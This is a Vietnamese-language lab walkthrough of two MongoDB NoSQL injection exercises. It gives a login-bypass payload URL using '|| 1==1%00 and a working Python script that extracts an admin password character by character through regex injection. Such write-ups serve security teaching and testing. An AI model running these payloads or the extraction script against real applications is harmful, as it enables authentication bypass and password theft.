MongoDB Injection 01
Ví dụ này là biểu thức nổi tiếng ' or 1=1 -- .
Nếu bạn nhớ những gì bạn đã thấy trước đây, bạn biết rằng bạn sẽ cần hai điều để bỏ qua thông tin đăng nhập này cho:
- Một điều kiện luôn luôn đúng.
- Một cách để chấm dứt chính xác truy vấn NoSQL.
Đầu tiên, bằng cách đọc tài liệu MongoDB, bạn có thể thấy rằng SQL or 1=1 dịch thành || 1 == 1 (lưu ý nhân đôi =). Sau đó, bằng cách xem xét xung quanh, bạn có thể thấy rằng NULL BYTE sẽ ngăn MongoDB sử dụng phần còn lại của truy vấn. Trong một số trường hợp, bạn cũng có thể sử dụng các chú thích // hoặc <!– để comment ở cuối truy vấn.
Với thông tin này, bạn sẽ có thể bỏ qua biểu mẫu xác thực. Cụ thể trong MongoDB sẽ thay ' or 1=1 -- bằng '|| 1==1%00
1 |
http://ptl-bb660dc4-e61f9e40.libcurl.st/?username=admin%27||%201==1%00&password=123&submit=Submit |
MongoDB Injection 02
Trong ví dụ này, chúng tôi sẽ cố gắng lấy thêm thông tin từ cơ sở dữ liệu NoSQL. Sử dụng một chút công việc phỏng đoán (hoặc kiến thức trước đó về ứng dụng), chúng ta có thể suy ra rằng có thể có một trường mật khẩu.
Phần này chúng ta cần dùng python để code dạng brute force:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
import urllib.request import string URL="https://ptl-dc26e18a-bf61e93e.libcurl.st/" def check(payload): url=URL+"/?search=admin%27%26%26this.password.match(/"+payload+"/)%00" print(url) resp=urllib.request.urlopen(url) data=resp.read() return ">admin<" in str(data) CHARSET=list("-"+string.ascii_lowercase+string.digits) password="" while True: for c in CHARSET: print("Trying: " + c + " for " + password) test=password+c if check("^"+test+".*$"): password+=c print(password) break elif c==CHARSET[-1]: print(password) exit(0) |